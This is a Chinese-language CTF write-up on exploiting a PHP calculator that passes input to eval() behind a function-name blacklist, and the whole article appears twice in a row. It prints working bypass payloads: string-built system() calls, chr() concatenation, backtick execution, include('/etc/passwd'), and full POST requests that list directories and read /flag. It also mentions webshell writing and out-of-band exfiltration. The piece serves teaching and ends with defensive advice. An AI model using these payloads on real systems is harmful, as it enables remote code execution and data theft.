1. 拿到题目的第一轮信息收集:页面、请求和异常输入探针1.1 先用肉眼和抓包把页面过一遍CTF的Web题里,最容易被低估的就是这种"门面干净"的题目。页面没有跳转、没有登录、没有文件上传点,只有一个孤零零的输入框和一个计算结果区,很多新手看到就懵了:"这能考什么?"其实越简单的入口,越可能藏着重型武器。我拿到这个Calculate题的时候,页面就是一个典型计算器:输入1+1,回车,回显2;输入6*7,回显42。注意这里的回显是服务端返回的,不是前端JS算的——验证方法很简单,右键查看源代码,发现页面里没有嵌入任何计算逻辑的脚本,按钮提交后会刷新页面。这说明表达式是被提交到后端处理的。接下来一定要做两件事:看请求、看响应头。打开浏览器的开发者工具,勾选Preserve log,再提交一次1+1,能看到请求是POST方式,参数名是expr,请求体形如expr=1%2B1。响应头里带着语言和版本信息,一眼能认出是PHP环境。到这里,心里大概有数了:后端很可能拿到这个expr参数之后,直接丢给某个动态执行函数去算。这类实现一旦写成eval,就有了戏。1.2 异常输入是最好的探针信息收集阶段,我最喜欢用一系列"带伤害"的输入去试探后端。不用怕报错,报错信息本身就是答案。我当时依次试了这些:输入abc:页面返回空白或一个警告,说明输入被当作表达式处理,但无法解析成合法的PHP表达式。输入1/0:浏览器直接显示了一个PHP错误,里面出现了eval()函数名和代码行号。虽然题目环境关闭了display_errors可能看不到,但能看到的话,等于后端实现直接暴露了。输入1;phpinfo();:这是最关键的一个探测。如果后端是eval拼接执行,分号就可以截断表达式,后面的phpinfo()会被当作新的PHP语句执行。我这边返回的不是计算器结果,而是"hacker"字样,说明题目做了关键字拦截。输入1;echo 123;:返回了123。这说明分号没有被过滤,echo也不在拦截名单里,后端确实是eval执行了一段拼接好的代码,只是针对某些函数名做了黑名单。这几步做完,整个攻击面已经清晰了一大半:一个典型的存在函数黑名单的eval型计算器后端。需要注意,我这一步没有急着去撞system,而是先用echo确认了分号语义是否生效。很多人在信息收集没做完的时候就去打有效载荷,一旦失败就搞不清楚到底是被过滤拦了、语法错了,还是函数不可用,后面排查起来极其痛苦。1.3 信息收集阶段最容易忽略的三个细节第一个容易忽略的点是参数数组。如果过滤逻辑是用preg_match或strpos直接处理字符串,那么提交expr[]=1;phpinfo();这种数组形式的参数时,PHP会把$_POST['expr']变成一个数组,正则匹配和strpos往往会因为类型错误直接返回false或报错。有些题目只要把参数改成数组,过滤就会失效。我当时也试了这一手,但这道题的过滤写得更稳,数组形式被拦得严严实实,所以后面老实走绕过路线。第二个细节是请求方式。有些题目会在代码里区分$_REQUEST['expr']还是$_POST['expr'],GET请求和POST请求会走向完全不同的逻辑。建议至少各试一遍,参数名一样,但传参方式不同,可能一个漏过滤一个不过滤。第三个细节是页面初始状态和Cookie。Calculate这道题页面很简单,看不出有Session和Cookie,但我还是顺手扫了一眼,确认没有隐藏的表单字段、注释或者接口。这种"确认没有"的过程看似无用,却能帮你排除一批低概率方向,避免在错误分支上投入时间。2. 漏洞定位:为什么一个普通计算器会变成代码执行入口2.1 计算器后端的几类实现方式计算器这个功能,实现方式大致分三种。第一种是纯前端JavaScript,浏览器算出结果再显示,后端完全不参与,这种没有利用价值。第二种是后端调一个现成的数学运算库,比如表达式解析器、符号计算库,这种通常会把输入限制在数学表达式的语法树里,危险函数根本传不进去,相对安全。第三种就是最偷懒的做法——把前端传上来的字符串直接拼进后端的动态执行函数里。PHP里常见的有eval()、assert()、create_function()、preg_replace()配合/e修饰符。这种实现写起来一时爽,调试火葬场,因为凡是能拼进代码的字符串,本质上就是在"替你写代码"。Calculate这道题的问题是典型的第三种。后端把expr参数的值直接当成PHP代码来执行,同时加了一层关键字黑名单,试图拦住常见的命令执行函数。这种"先eval、再拉黑名单"的组合在真实开发里也相当常见,比完全不设防好一点,但远远不够。2.2 用"万能机器人"类比eval的问题打个比方,eval就像你把一把钥匙交给一个万能机器人,跟它说:"按我嘴上说的话去开对应的门。"正常需求是输入"开厨房门",机器人就去开厨房门。但问题是机器人没有判断能力,你说"开门,顺便把保险柜密码抄给我",它也会照做。更可怕的是,你以为只要提前告诉它"不能开保险柜"就安全了,但攻击者可以换一种说法:"打开那个金属箱子,把里面的数字报出来。"字面上完全没提保险柜,可事情照样办了。黑名单过滤干的就是这种事——它禁掉的是攻击者可能说出的某些词,但攻击者永远可以用同义词、拆词法、编码法把意思表达出来。理解了这一层,后面所有绕过手段都顺理成章了。2.3 根据探测结果反推后端实现基于第一轮信息收集的结果,我基本能确定后端逻辑长这样,这里给出一个简化模型:<?php $expr = $_POST['expr']; $blacklist = ['system', 'exec', 'shell_exec', 'passthru', 'popen', 'proc_open']; foreach ($blacklist as $b) { if (stripos($expr, $b) !== false) { die('hacker'); } } echo eval($expr);注意模型里的echo eval($expr),这是关键:输入1+1时,eval执行1+1并返回结果2,echo回显2;输入1;echo 123;时,eval按顺序执行两条语句,echo输出123。如果写的是eval('return '.$expr.';')这种带return前缀的形式,分号注入会被前面的return直接截断,后面的语句根本执行不到。所以拿到计算器题后,先测分号能不能注入,就是在区分这两种不同的后端写法。这道题实测分号可用,说明就是单纯的echo eval($expr)。反推代码的价值在于,后面构造payload时你心里有个"模型",你知道代码在你输入内容前后加了什么、过滤了哪些词。与其盲目试payload,不如先把模型猜出来,然后针对性地找模型的漏洞。2.4 为什么黑名单其实拦不住真正的利用PHP这门语言的动态特性极其丰富,函数可以放在变量里调用,字符串可以用各种运算拼出来,命令不一定非要用system()执行,反引号、assert、preg_replace、include配合文件包含,全是各种各样的"旁门左道"。黑名单拉得再长,也只是"猜攻击者会用什么词",而攻击者的优势在于:你列了一个名单,我只需要找一个不在这名单里的词。所以这道题表面上是算算术,实际上是考一个很关键的安全认知:**不要以为过滤了危险函数名就能防住代码注入。**把动态执行函数直接用在用户输入上是根上的错,后面补再多黑名单都是亡羊补牢。3. 过滤规则的摸查过程与四种绕过尝试3.1 把过滤规则测成一张矩阵既然确定了是黑名单型eval,下一步就是把黑名单的边界彻底摸清。我构造了一个测试矩阵,每个请求单独发,记录下来。测试输入响应表现结论system('id')返回hacker拦截页system在黑名单里exec('id')返回hacker拦截页exec在黑名单里shell_exec('id')返回hacker拦截页shell_exec同样被拦phpinfo()直接输出PHP配置页面不在名单里,且代码执行成立1;echo 123;回显123分号和echo可用,注入点成立$a=1;echo $a;回显1变量声明可用,$没被过滤`id`显示当前用户的uid信息反引号没有被过滤,等价命令执行include('/etc/passwd');回显文件内容include没有被拦,可做文件读取这张表做下来,结论很明确:过滤规则只针对部分PHP函数名,不针对字符集,不针对分号,不针对反引号,不针对变量语法。也就是说,这是一个典型的"禁词列表",而不是"白名单字符集"。知道了这一点,绕过的思路一下就打开了。3.2 第一轮绕过尝试:字符串拼接与动态函数名黑名单匹配的是提交字符串里的完整函数名,那我可以不让完整函数名出现在字符串里。PHP的函数调用支持把函数名存进变量再调用,也就是"可变函数"。例如:$f = 'sys' . 'tem'; $f('id');第一行先给$f赋值为system,第二行用$f('id')实现系统命令调用。从黑名单的角度看,整个输入里从头到尾没有出现连续完整的system字符串,它自然没法拦截。实际payload长这样:1;$f='sys'.'tem';$f('id');发过去之后,成功回显了uid信息,说明这条绕过路径是通的。这也是最简单、最稳定的一种绕过方式。我后来又试了用chr()动态拼字符的方式:1;$f=chr(115).chr(121).chr(115).chr(116).chr(101).chr(109);$f('id');chr()把一个一个的ASCII码拼成system,同样能执行。这种思路在题目过滤了单引号或点号时特别有用,属于更进一阶的绕过储备。3.3 第二轮绕过尝试:直接换一条执行通道动态函数名很实用,但如果你遇到的题目把变量相关的语法也过滤了,那还得有别的路。我在测试中发现反引号没有被过滤,那就意味着PHP的反引号运算符可以直接执行shell命令:1;`cat /flag`;反引号在PHP中等价于shell_exec(),提交字符串里同样不出现任何黑名单函数名。如果题目连cat这种shell命令字也拦,还可以换成/bin/cat、tac、ca''t这种shell自身支持的绕法。另一个思路是完全不执行系统命令,直接让PHP把文件内容"带出来"。比如include一个目标文件,如果文件里是纯文本,包含操作会把文本直接输出到页面。我测试include('/etc/passwd')能回显内容,说明这道题的include也没被拦。那么读flag文件就多了一种选择:1;include('/flag');如果是在严格的命令黑名单环境下,include这类文件操作函数往往是比命令执行更省事的路径。命令执行还需要考虑命令名、参数、空格被过滤的问题,文件包含则只要函数没被拦,一行就解决问题。3.4 为什么最后还是选了动态函数名这条组合拳读文件思路虽然好,但我实际执行时发现一个细节:这道题的flag文件位置不明,而且我不确定include在目标环境下是否能正确显示文件内容。如果文件内容包含特殊字符,或者文件路径不在当前目录,include可能会把内容当PHP代码解析出各种奇怪的报错。相比之下,system命令配合ls先探测目录,再cat读取,整个过程输出更直观,也更可控。所以最终整理出来的利用链是这样的:先用$f='sys'.'tem';$f('ls /');确认根目录情况。找到flag文件后,再用$f('cat /flag');读取内容。如果读取输出有干扰,就改用$f('tac /flag')或$f('cat /flag | base64')再解码。在实际做题时,不要迷信某一条payload是"万能钥匙"。每条路都有自己的适用条件,先摸清过滤规则,再根据响应情况选最顺的那条,才是正确姿势。4. 完整利用链:从分号注入到读取目标文件4.1 先确认flag文件到底放在哪很多新手拿到命令执行权限后第一件事就是cat /flag,但flag位置在不同题目里差异很大。比较常见的位置包括根目录的/flag、/flag.txt,网站的/var/www/html/flag,以及环境变量里。所以第一步永远是列目录,而不是直接猜路径。当时的请求体是这样的(POST数据需要做URL编码):POST /calc.php HTTP/1.1 Host: target Content-Type: application/x-www-form-urlencoded expr=1%3B%24f%3D%27sys%27.%27tem%27%3B%24f%28%27ls%20%2F%27%29%3B对应的原始输入为:1;$f='sys'.'tem';$f('ls /');响应里列出了根目录下的bin、boot、dev、etc、flag等条目。flag文件就在根目录,命名很直白。这里补充一句,URL编码容易写错,尤其是分号、引号、美元符和空格。如果请求发出去没反应,先检查是不是编码没转干净。4.2 如果eval没有回显,还有什么路可走这道题的eval有回显,但很多同类题目的eval是"把返回值吞掉"的,提交1;echo 123;时页面照样空白。遇到那种情况,先别急着放弃,有几个逃生通道值得记下来:时间盲注:执行sleep(5);,如果响应延迟了5秒,说明命令确实执行了,可以结合条件判断逐位爆破。写入文件:用file_put_contents('shell.php', '<?php ... ?>');往网站目录里写一个文件,再直接访问这个文件拿到交互界面。外带数据:把命令输出通过DNS查询或HTTP请求发到自己的监听服务器上。注意这一步必须使用你完全可控的域名或服务器,属于标准CTF外带手段,不要把它和任何绕过网络访问限制的方法混为一谈。有回显当然是最舒服的,但手边这几种无回显方案最好能形成条件反射,因为在真实的渗透测试和部分CTF题目里,"执行了但看不见输出"才是常态。4.3 最终读取flag的请求与响应确认flag在根目录后,发送最终读取请求:POST /calc.php HTTP/1.1 Host: target Content-Type: application/x-www-form-urlencoded expr=1%3B%24f%3D%27sys%27.%27tem%27%3B%24f%28%27cat%20%2Fflag%27%29%3B响应直接回显了flag内容。整个利用链到这里闭环。如果题目把cat也列进了黑名单,可以换成:1;$f='sys'.'tem';$f('tac /flag');tac和cat命令不同名,但作用是从最后一行开始倒序输出,内容一样。更保险的读法是base64:1;$f='sys'.'tem';$f('cat /flag | base64');拿到base64字符串再本地解码,能避免flag内容里包含特殊字符导致输出被截断。4.4 拿到flag之后,还应该验证一下路径拿到flag直接提交就能得分,但我习惯再花一分钟做两件事:确认当前用户是谁、确认代码执行上下文。执行$f('id');和$f('pwd');,能帮助判断这个后端是以什么用户权限运行的,以及网站根目录在哪里。这些信息在赛后复盘和写writeup时很有用,也可以帮助你判断如果这道题换一种方式放flag(比如放在数据库里),下一步该怎么走。有些变体题目会把flag放在环境变量里,比如cat /proc/1/environ或env命令的输出中。多掌握几种读法总没有坏处。5. 复盘清单:这类计算器题怎么快速打穿5.1 这次踩的三个坑,每一个都值得记下来第一个坑:一上来就撞system('id'),被黑名单拦截后我一度以为这道题把命令执行函数全封了,差点转向研究"白名单字符集绕过"。后来才发现,黑名单和字符白名单是完全两种不同的过滤思路,前者拦得住一部分关键字,拦不住所有写法。正确做法是先测分号和echo,把"eval黑名单型"这个基本盘确定下来,再针对性构造payload。第二个坑:动态函数名构造payload时,我一开始写成了sys.tem('id')这种拼接方式,结果被PHP解析器报语法错误。函数名必须是完整的标识符,不能直接加字符串连接运算符。正确的做法是先把完整函数名赋值给一个变量,再通过变量调用函数。这个区别很多人第一次接触可变函数时都会踩,绕一圈才明白。第三个坑:在无回显假设上浪费了一点时间。刚开始有一轮请求我忘了做URL编码,服务端没有正确拿到参数,页面一直空白,我误以为eval无回显,已经开始准备时间盲注方案。后来检查请求体才发现是编码问题。遇到"没有输出"的情况,先检查自己发出的请求本身是否完整,再怀疑题目环境,顺序不能反。5.2 计算器型题目快速识别清单我把自己做这类题的经验整理成了一张速查表,遇到计算器页面可以直接对号入座。页面现象后端类型判断优先尝试方向输入1;echo 123;有回显eval拼接+普通过滤直接分号注入,动态函数名绕过输入1;phpinfo();被拦,但echo可用黑名单型eval字符串拼接绕过函数名检查输入数组参数后返回500可能存在正则或类型处理漏洞尝试数组绕过过滤输入1/0或字母报错,能看到函数名eval直接执行报错信息本身就是情报响应有明显延迟可能涉及命令执行或盲注sleep探测确认执行点只允许输入数字和四则运算符白名单字符集找解析器漏洞或逻辑漏洞这张表的核心思路是:先判断过滤是"禁词"还是"放行白名单",再决定用绕过还是用漏洞。很多新手拿到计算器题就翻来覆去试几个标准payload,不成功就不知道下一步了。测清楚过滤边界,攻击路径其实会自己浮出来。5.3 站在防守方视角,怎么避免自己写出这种题做完了攻击侧,我建议写Web后端的朋友也站在防守方想想。别在业务代码里用eval、assert、create_function直接执行用户输入,这几乎是所有同类漏洞的根源。计算器功能想安全地做,就用现成的表达式解析库,把用户输入解析成AST(抽象语法树),只允许数学运算符和数字出现在节点里,再按树结构计算结果。这样无论用户传什么字符串,都只是被当作"不合法的表达式"处理,根本走不到代码执行的层面。如果你因为历史原因不得不保留动态执行,至少要做到三件事:对输入做严格的白名单字符校验、限制请求长度、运行环境里禁用所有危险函数。但坦白讲,这些都只是把风险降低,做不到消除。白名单字符集是相对有效的手段,比如只允许数字和+ - * / ( ),用户连字母都传不上来,自然没法调用函数。可惜这道题的过滤是黑名单思路,所以才会被$f='sys'.'tem';这种拼词法轻松击穿。CTF赛题的价值往往不在于"打掉一个模拟目标",而在于让人亲眼看到一类漏洞是怎么产生、怎么被利用、又该怎么修复。把计算器这道题从攻击到防御完整走一遍,你对eval的认知、对黑名单的信任度、对PHP动态特性的理解,都会比之前扎实一大截。后面再遇到类似的Web题,心里就有了一张真正的底图。
1. 拿到题目的第一轮信息收集:页面、请求和异常输入探针1.1 先用肉眼和抓包把页面过一遍CTF的Web题里,最容易被低估的就是这种"门面干净"的题目。页面没有跳转、没有登录、没有文件上传点,只有一个孤零零的输入框和一个计算结果区,很多新手看到就懵了:"这能考什么?"其实越简单的入口,越可能藏着重型武器。我拿到这个Calculate题的时候,页面就是一个典型计算器:输入1+1,回车,回显2;输入6*7,回显42。注意这里的回显是服务端返回的,不是前端JS算的——验证方法很简单,右键查看源代码,发现页面里没有嵌入任何计算逻辑的脚本,按钮提交后会刷新页面。这说明表达式是被提交到后端处理的。接下来一定要做两件事:看请求、看响应头。打开浏览器的开发者工具,勾选Preserve log,再提交一次1+1,能看到请求是POST方式,参数名是expr,请求体形如expr=1%2B1。响应头里带着语言和版本信息,一眼能认出是PHP环境。到这里,心里大概有数了:后端很可能拿到这个expr参数之后,直接丢给某个动态执行函数去算。这类实现一旦写成eval,就有了戏。1.2 异常输入是最好的探针信息收集阶段,我最喜欢用一系列"带伤害"的输入去试探后端。不用怕报错,报错信息本身就是答案。我当时依次试了这些:输入abc:页面返回空白或一个警告,说明输入被当作表达式处理,但无法解析成合法的PHP表达式。输入1/0:浏览器直接显示了一个PHP错误,里面出现了eval()函数名和代码行号。虽然题目环境关闭了display_errors可能看不到,但能看到的话,等于后端实现直接暴露了。输入1;phpinfo();:这是最关键的一个探测。如果后端是eval拼接执行,分号就可以截断表达式,后面的phpinfo()会被当作新的PHP语句执行。我这边返回的不是计算器结果,而是"hacker"字样,说明题目做了关键字拦截。输入1;echo 123;:返回了123。这说明分号没有被过滤,echo也不在拦截名单里,后端确实是eval执行了一段拼接好的代码,只是针对某些函数名做了黑名单。这几步做完,整个攻击面已经清晰了一大半:一个典型的存在函数黑名单的eval型计算器后端。需要注意,我这一步没有急着去撞system,而是先用echo确认了分号语义是否生效。很多人在信息收集没做完的时候就去打有效载荷,一旦失败就搞不清楚到底是被过滤拦了、语法错了,还是函数不可用,后面排查起来极其痛苦。1.3 信息收集阶段最容易忽略的三个细节第一个容易忽略的点是参数数组。如果过滤逻辑是用preg_match或strpos直接处理字符串,那么提交expr[]=1;phpinfo();这种数组形式的参数时,PHP会把$_POST['expr']变成一个数组,正则匹配和strpos往往会因为类型错误直接返回false或报错。有些题目只要把参数改成数组,过滤就会失效。我当时也试了这一手,但这道题的过滤写得更稳,数组形式被拦得严严实实,所以后面老实走绕过路线。第二个细节是请求方式。有些题目会在代码里区分$_REQUEST['expr']还是$_POST['expr'],GET请求和POST请求会走向完全不同的逻辑。建议至少各试一遍,参数名一样,但传参方式不同,可能一个漏过滤一个不过滤。第三个细节是页面初始状态和Cookie。Calculate这道题页面很简单,看不出有Session和Cookie,但我还是顺手扫了一眼,确认没有隐藏的表单字段、注释或者接口。这种"确认没有"的过程看似无用,却能帮你排除一批低概率方向,避免在错误分支上投入时间。2. 漏洞定位:为什么一个普通计算器会变成代码执行入口2.1 计算器后端的几类实现方式计算器这个功能,实现方式大致分三种。第一种是纯前端JavaScript,浏览器算出结果再显示,后端完全不参与,这种没有利用价值。第二种是后端调一个现成的数学运算库,比如表达式解析器、符号计算库,这种通常会把输入限制在数学表达式的语法树里,危险函数根本传不进去,相对安全。第三种就是最偷懒的做法——把前端传上来的字符串直接拼进后端的动态执行函数里。PHP里常见的有eval()、assert()、create_function()、preg_replace()配合/e修饰符。这种实现写起来一时爽,调试火葬场,因为凡是能拼进代码的字符串,本质上就是在"替你写代码"。Calculate这道题的问题是典型的第三种。后端把expr参数的值直接当成PHP代码来执行,同时加了一层关键字黑名单,试图拦住常见的命令执行函数。这种"先eval、再拉黑名单"的组合在真实开发里也相当常见,比完全不设防好一点,但远远不够。2.2 用"万能机器人"类比eval的问题打个比方,eval就像你把一把钥匙交给一个万能机器人,跟它说:"按我嘴上说的话去开对应的门。"正常需求是输入"开厨房门",机器人就去开厨房门。但问题是机器人没有判断能力,你说"开门,顺便把保险柜密码抄给我",它也会照做。更可怕的是,你以为只要提前告诉它"不能开保险柜"就安全了,但攻击者可以换一种说法:"打开那个金属箱子,把里面的数字报出来。"字面上完全没提保险柜,可事情照样办了。黑名单过滤干的就是这种事——它禁掉的是攻击者可能说出的某些词,但攻击者永远可以用同义词、拆词法、编码法把意思表达出来。理解了这一层,后面所有绕过手段都顺理成章了。2.3 根据探测结果反推后端实现基于第一轮信息收集的结果,我基本能确定后端逻辑长这样,这里给出一个简化模型:<?php $expr = $_POST['expr']; $blacklist = ['system', 'exec', 'shell_exec', 'passthru', 'popen', 'proc_open']; foreach ($blacklist as $b) { if (stripos($expr, $b) !== false) { die('hacker'); } } echo eval($expr);注意模型里的echo eval($expr),这是关键:输入1+1时,eval执行1+1并返回结果2,echo回显2;输入1;echo 123;时,eval按顺序执行两条语句,echo输出123。如果写的是eval('return '.$expr.';')这种带return前缀的形式,分号注入会被前面的return直接截断,后面的语句根本执行不到。所以拿到计算器题后,先测分号能不能注入,就是在区分这两种不同的后端写法。这道题实测分号可用,说明就是单纯的echo eval($expr)。反推代码的价值在于,后面构造payload时你心里有个"模型",你知道代码在你输入内容前后加了什么、过滤了哪些词。与其盲目试payload,不如先把模型猜出来,然后针对性地找模型的漏洞。2.4 为什么黑名单其实拦不住真正的利用PHP这门语言的动态特性极其丰富,函数可以放在变量里调用,字符串可以用各种运算拼出来,命令不一定非要用system()执行,反引号、assert、preg_replace、include配合文件包含,全是各种各样的"旁门左道"。黑名单拉得再长,也只是"猜攻击者会用什么词",而攻击者的优势在于:你列了一个名单,我只需要找一个不在这名单里的词。所以这道题表面上是算算术,实际上是考一个很关键的安全认知:**不要以为过滤了危险函数名就能防住代码注入。**把动态执行函数直接用在用户输入上是根上的错,后面补再多黑名单都是亡羊补牢。3. 过滤规则的摸查过程与四种绕过尝试3.1 把过滤规则测成一张矩阵既然确定了是黑名单型eval,下一步就是把黑名单的边界彻底摸清。我构造了一个测试矩阵,每个请求单独发,记录下来。测试输入响应表现结论system('id')返回hacker拦截页system在黑名单里exec('id')返回hacker拦截页exec在黑名单里shell_exec('id')返回hacker拦截页shell_exec同样被拦phpinfo()直接输出PHP配置页面不在名单里,且代码执行成立1;echo 123;回显123分号和echo可用,注入点成立$a=1;echo $a;回显1变量声明可用,$没被过滤`id`显示当前用户的uid信息反引号没有被过滤,等价命令执行include('/etc/passwd');回显文件内容include没有被拦,可做文件读取这张表做下来,结论很明确:过滤规则只针对部分PHP函数名,不针对字符集,不针对分号,不针对反引号,不针对变量语法。也就是说,这是一个典型的"禁词列表",而不是"白名单字符集"。知道了这一点,绕过的思路一下就打开了。3.2 第一轮绕过尝试:字符串拼接与动态函数名黑名单匹配的是提交字符串里的完整函数名,那我可以不让完整函数名出现在字符串里。PHP的函数调用支持把函数名存进变量再调用,也就是"可变函数"。例如:$f = 'sys' . 'tem'; $f('id');第一行先给$f赋值为system,第二行用$f('id')实现系统命令调用。从黑名单的角度看,整个输入里从头到尾没有出现连续完整的system字符串,它自然没法拦截。实际payload长这样:1;$f='sys'.'tem';$f('id');发过去之后,成功回显了uid信息,说明这条绕过路径是通的。这也是最简单、最稳定的一种绕过方式。我后来又试了用chr()动态拼字符的方式:1;$f=chr(115).chr(121).chr(115).chr(116).chr(101).chr(109);$f('id');chr()把一个一个的ASCII码拼成system,同样能执行。这种思路在题目过滤了单引号或点号时特别有用,属于更进一阶的绕过储备。3.3 第二轮绕过尝试:直接换一条执行通道动态函数名很实用,但如果你遇到的题目把变量相关的语法也过滤了,那还得有别的路。我在测试中发现反引号没有被过滤,那就意味着PHP的反引号运算符可以直接执行shell命令:1;`cat /flag`;反引号在PHP中等价于shell_exec(),提交字符串里同样不出现任何黑名单函数名。如果题目连cat这种shell命令字也拦,还可以换成/bin/cat、tac、ca''t这种shell自身支持的绕法。另一个思路是完全不执行系统命令,直接让PHP把文件内容"带出来"。比如include一个目标文件,如果文件里是纯文本,包含操作会把文本直接输出到页面。我测试include('/etc/passwd')能回显内容,说明这道题的include也没被拦。那么读flag文件就多了一种选择:1;include('/flag');如果是在严格的命令黑名单环境下,include这类文件操作函数往往是比命令执行更省事的路径。命令执行还需要考虑命令名、参数、空格被过滤的问题,文件包含则只要函数没被拦,一行就解决问题。3.4 为什么最后还是选了动态函数名这条组合拳读文件思路虽然好,但我实际执行时发现一个细节:这道题的flag文件位置不明,而且我不确定include在目标环境下是否能正确显示文件内容。如果文件内容包含特殊字符,或者文件路径不在当前目录,include可能会把内容当PHP代码解析出各种奇怪的报错。相比之下,system命令配合ls先探测目录,再cat读取,整个过程输出更直观,也更可控。所以最终整理出来的利用链是这样的:先用$f='sys'.'tem';$f('ls /');确认根目录情况。找到flag文件后,再用$f('cat /flag');读取内容。如果读取输出有干扰,就改用$f('tac /flag')或$f('cat /flag | base64')再解码。在实际做题时,不要迷信某一条payload是"万能钥匙"。每条路都有自己的适用条件,先摸清过滤规则,再根据响应情况选最顺的那条,才是正确姿势。4. 完整利用链:从分号注入到读取目标文件4.1 先确认flag文件到底放在哪很多新手拿到命令执行权限后第一件事就是cat /flag,但flag位置在不同题目里差异很大。比较常见的位置包括根目录的/flag、/flag.txt,网站的/var/www/html/flag,以及环境变量里。所以第一步永远是列目录,而不是直接猜路径。当时的请求体是这样的(POST数据需要做URL编码):POST /calc.php HTTP/1.1 Host: target Content-Type: application/x-www-form-urlencoded expr=1%3B%24f%3D%27sys%27.%27tem%27%3B%24f%28%27ls%20%2F%27%29%3B对应的原始输入为:1;$f='sys'.'tem';$f('ls /');响应里列出了根目录下的bin、boot、dev、etc、flag等条目。flag文件就在根目录,命名很直白。这里补充一句,URL编码容易写错,尤其是分号、引号、美元符和空格。如果请求发出去没反应,先检查是不是编码没转干净。4.2 如果eval没有回显,还有什么路可走这道题的eval有回显,但很多同类题目的eval是"把返回值吞掉"的,提交1;echo 123;时页面照样空白。遇到那种情况,先别急着放弃,有几个逃生通道值得记下来:时间盲注:执行sleep(5);,如果响应延迟了5秒,说明命令确实执行了,可以结合条件判断逐位爆破。写入文件:用file_put_contents('shell.php', '<?php ... ?>');往网站目录里写一个文件,再直接访问这个文件拿到交互界面。外带数据:把命令输出通过DNS查询或HTTP请求发到自己的监听服务器上。注意这一步必须使用你完全可控的域名或服务器,属于标准CTF外带手段,不要把它和任何绕过网络访问限制的方法混为一谈。有回显当然是最舒服的,但手边这几种无回显方案最好能形成条件反射,因为在真实的渗透测试和部分CTF题目里,"执行了但看不见输出"才是常态。4.3 最终读取flag的请求与响应确认flag在根目录后,发送最终读取请求:POST /calc.php HTTP/1.1 Host: target Content-Type: application/x-www-form-urlencoded expr=1%3B%24f%3D%27sys%27.%27tem%27%3B%24f%28%27cat%20%2Fflag%27%29%3B响应直接回显了flag内容。整个利用链到这里闭环。如果题目把cat也列进了黑名单,可以换成:1;$f='sys'.'tem';$f('tac /flag');tac和cat命令不同名,但作用是从最后一行开始倒序输出,内容一样。更保险的读法是base64:1;$f='sys'.'tem';$f('cat /flag | base64');拿到base64字符串再本地解码,能避免flag内容里包含特殊字符导致输出被截断。4.4 拿到flag之后,还应该验证一下路径拿到flag直接提交就能得分,但我习惯再花一分钟做两件事:确认当前用户是谁、确认代码执行上下文。执行$f('id');和$f('pwd');,能帮助判断这个后端是以什么用户权限运行的,以及网站根目录在哪里。这些信息在赛后复盘和写writeup时很有用,也可以帮助你判断如果这道题换一种方式放flag(比如放在数据库里),下一步该怎么走。有些变体题目会把flag放在环境变量里,比如cat /proc/1/environ或env命令的输出中。多掌握几种读法总没有坏处。5. 复盘清单:这类计算器题怎么快速打穿5.1 这次踩的三个坑,每一个都值得记下来第一个坑:一上来就撞system('id'),被黑名单拦截后我一度以为这道题把命令执行函数全封了,差点转向研究"白名单字符集绕过"。后来才发现,黑名单和字符白名单是完全两种不同的过滤思路,前者拦得住一部分关键字,拦不住所有写法。正确做法是先测分号和echo,把"eval黑名单型"这个基本盘确定下来,再针对性构造payload。第二个坑:动态函数名构造payload时,我一开始写成了sys.tem('id')这种拼接方式,结果被PHP解析器报语法错误。函数名必须是完整的标识符,不能直接加字符串连接运算符。正确的做法是先把完整函数名赋值给一个变量,再通过变量调用函数。这个区别很多人第一次接触可变函数时都会踩,绕一圈才明白。第三个坑:在无回显假设上浪费了一点时间。刚开始有一轮请求我忘了做URL编码,服务端没有正确拿到参数,页面一直空白,我误以为eval无回显,已经开始准备时间盲注方案。后来检查请求体才发现是编码问题。遇到"没有输出"的情况,先检查自己发出的请求本身是否完整,再怀疑题目环境,顺序不能反。5.2 计算器型题目快速识别清单我把自己做这类题的经验整理成了一张速查表,遇到计算器页面可以直接对号入座。页面现象后端类型判断优先尝试方向输入1;echo 123;有回显eval拼接+普通过滤直接分号注入,动态函数名绕过输入1;phpinfo();被拦,但echo可用黑名单型eval字符串拼接绕过函数名检查输入数组参数后返回500可能存在正则或类型处理漏洞尝试数组绕过过滤输入1/0或字母报错,能看到函数名eval直接执行报错信息本身就是情报响应有明显延迟可能涉及命令执行或盲注sleep探测确认执行点只允许输入数字和四则运算符白名单字符集找解析器漏洞或逻辑漏洞这张表的核心思路是:先判断过滤是"禁词"还是"放行白名单",再决定用绕过还是用漏洞。很多新手拿到计算器题就翻来覆去试几个标准payload,不成功就不知道下一步了。测清楚过滤边界,攻击路径其实会自己浮出来。5.3 站在防守方视角,怎么避免自己写出这种题做完了攻击侧,我建议写Web后端的朋友也站在防守方想想。别在业务代码里用eval、assert、create_function直接执行用户输入,这几乎是所有同类漏洞的根源。计算器功能想安全地做,就用现成的表达式解析库,把用户输入解析成AST(抽象语法树),只允许数学运算符和数字出现在节点里,再按树结构计算结果。这样无论用户传什么字符串,都只是被当作"不合法的表达式"处理,根本走不到代码执行的层面。如果你因为历史原因不得不保留动态执行,至少要做到三件事:对输入做严格的白名单字符校验、限制请求长度、运行环境里禁用所有危险函数。但坦白讲,这些都只是把风险降低,做不到消除。白名单字符集是相对有效的手段,比如只允许数字和+ - * / ( ),用户连字母都传不上来,自然没法调用函数。可惜这道题的过滤是黑名单思路,所以才会被$f='sys'.'tem';这种拼词法轻松击穿。CTF赛题的价值往往不在于"打掉一个模拟目标",而在于让人亲眼看到一类漏洞是怎么产生、怎么被利用、又该怎么修复。把计算器这道题从攻击到防御完整走一遍,你对eval的认知、对黑名单的信任度、对PHP动态特性的理解,都会比之前扎实一大截。后面再遇到类似的Web题,心里就有了一张真正的底图。